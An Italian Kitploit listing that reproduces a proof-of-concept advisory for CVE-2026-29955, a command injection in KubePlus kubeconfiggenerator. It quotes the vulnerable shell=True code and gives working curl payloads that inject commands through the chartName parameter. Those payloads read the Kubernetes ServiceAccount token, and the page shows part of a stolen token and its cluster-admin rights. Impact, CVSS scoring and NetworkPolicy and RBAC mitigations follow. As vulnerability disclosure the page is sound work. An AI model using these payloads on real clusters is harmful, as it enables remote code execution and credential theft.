Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29955 — Proof-of-concept per CVE-2026-29955, una vulnerabilità di command injection in KubePlus kubeconfiggenerator che consente l'esecuzione remota di codice e il furto del token ServiceAccount nei cluster Kubernetes. | Kitploit
Strumenti/GitHubGitHub/b0b0haha/cve-2026-29955
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza Cloud
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Proof-of-concept per CVE-2026-29955, una vulnerabilità di command injection in KubePlus kubeconfiggenerator che consente l'esecuzione remota di codice e il furto del token ServiceAccount nei cluster Kubernetes.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità di Iniezione di Comandi nel KubeconfigGenerator di KubePlus

Questa vulnerabilità esiste nel componente kubeconfiggenerator di KubePlus e consente ad attaccanti con accesso all'interfaccia HTTP di iniettare comandi shell tramite il parametro chartName, eseguire codice arbitrario come root all'interno del container e rubare i Token del ServiceAccount con privilegi cluster-admin. Classificazione CWE consigliata: CWE-78 (Iniezione di Comandi del Sistema Operativo).

Riepilogo

L'endpoint /registercrd nel componente kubeconfiggenerator di KubePlus è vulnerabile all'iniezione di comandi. Il componente utilizza subprocess.Popen() con il parametro shell=True per eseguire comandi shell, e il parametro chartName fornito dall'utente viene concatenato direttamente nella stringa di comando senza alcuna sanificazione o validazione. Un attaccante può iniettare comandi shell arbitrari creando un valore malevolo per il parametro chartName.

Dettagli

Causa Principale

Quando elabora le richieste di registrazione CRD, il componente kubeconfiggenerator scarica ed estrae i Helm Charts. Nella funzione download_and_untar_chart(), il parametro chartName viene concatenato direttamente nei comandi shell:

File: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

File: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

File: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

A causa del parametro shell=True, gli attaccanti possono utilizzare la sintassi di sostituzione dei comandi shell $(comando) per iniettare comandi arbitrari.

Vettore di Attacco

Inviando una richiesta HTTP all'endpoint /registercrd con un parametro chartName malevolo, un attaccante può eseguire comandi arbitrari all'interno del container kubeconfiggenerator. Poiché il container viene eseguito come root e il suo ServiceAccount ha privilegi cluster-admin, l'attaccante può:

  1. Eseguire comandi di sistema arbitrari
  2. Leggere file sensibili all'interno del container
  3. Rubare i Token del ServiceAccount
  4. Utilizzare i Token rubati per accedere all'API Kubernetes

PoC

Configurazione dell'Ambiente

1. Creare un Cluster Kind

root@kitploit:~
# Creare la configurazione del cluster Kind
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Creare il cluster
kind create cluster --config kind-config.yaml

# Verificare il cluster
kubectl cluster-info
kubectl get nodes

Output previsto:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. Installare KubePlus

root@kitploit:~
# Creare la directory di lavoro
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Scaricare i plugin KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Scaricare lo script provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Configurare l'ambiente Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Ottenere l'indirizzo del server API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Creare il provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

Output previsto:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Installare KubePlus tramite Helm

root@kitploit:~
# Scaricare il Helm chart di KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Installare KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Attendere che i pod siano pronti
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Verificare l'installazione
kubectl get pods -n default -l app=kubeplus

Output previsto:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Configurare il Port Forwarding

root@kitploit:~
# Ottenere il nome del pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Configurare il port forwarding
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Verificare che il servizio sia accessibile
curl -s http://localhost:5005/hello

Output previsto:

root@kitploit:~
hello world

Passaggi di Sfruttamento

Passo 1: Eseguire l'Iniezione di Comandi (comando id)

Inviare una richiesta con un parametro chartName malevolo:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Passo 2: Verificare l'Esecuzione del Comando

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Output di verifica effettivo:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Passo 3: Rubare il Token del ServiceAccount

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Passo 4: Estrarre il Token Rubato

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Output di verifica effettivo:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Passo 5: Verificare i Permessi del Token

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Output di verifica effettivo:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Prove dai Log Lato Server

I log del container kubeconfiggenerator mostrano l'esecuzione dell'iniezione di comandi:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

Impatto

Questa vulnerabilità consente a un attaccante di:

  1. Esecuzione Remota di Codice: Eseguire comandi arbitrari come root all'interno del container kubeconfiggenerator
  2. Furto di Credenziali: Rubare i Token del ServiceAccount con privilegi cluster-admin (*.*)
  3. Compromissione del Cluster: Utilizzare i Token rubati per eseguire qualsiasi operazione API Kubernetes, inclusa la creazione/eliminazione di Pod, la lettura di Secret, la modifica delle configurazioni RBAC, ecc.
  4. Movimento Laterale: Accedere alle risorse in qualsiasi namespace all'interno del cluster

Prerequisiti

  • L'attaccante deve avere accesso all'interfaccia HTTP del servizio kubeconfighelper (porta 5005)
  • Il servizio è accessibile all'interno del cluster per impostazione predefinita

Gravità

Punteggio CVSS v3.1: 8.8 (Alta)

Vettore: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Vettore di Attacco (AV): Rete
  • Complessità dell'Attacco (AC): Bassa
  • Privilegi Richiesti (PR): Bassi (richiede accesso al servizio kubeconfighelper)
  • Interazione dell'Utente (UI): Nessuna
  • Ambito (S): Invariato
  • Riservatezza (C): Alta (può rubare il Token del ServiceAccount)
  • Integrità (I): Alta (può eseguire comandi arbitrari)
  • Disponibilità (A): Alta (può influire sulla disponibilità del servizio)

Versioni Interessate

  • KubePlus v4.2.0 e versioni precedenti
  • Tutte le versioni che utilizzano shell=True per l'esecuzione dei comandi

Versioni Corrette

Nessuna versione corretta disponibile al momento.

Soluzioni Alternative

  1. Isolamento di Rete: Utilizzare NetworkPolicy per limitare l'accesso al servizio kubeconfighelper
  2. Restrizione RBAC: Ridurre i privilegi del ServiceAccount kubeplus-saas-provider
  3. Monitoraggio: Monitorare l'esecuzione anomala di comandi nel container kubeconfiggenerator
root@kitploit:~
# Esempio di NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

Riferimenti

  • CWE-78: Neutralizzazione Impropria di Elementi Speciali utilizzati in un Comando del Sistema Operativo ('Iniezione di Comandi del Sistema Operativo')
  • Iniezione di Comandi OWASP: https://owasp.org/www-community/attacks/Command_Injection
  • Sicurezza di subprocess in Python: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Crediti

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

Scarica lo strumento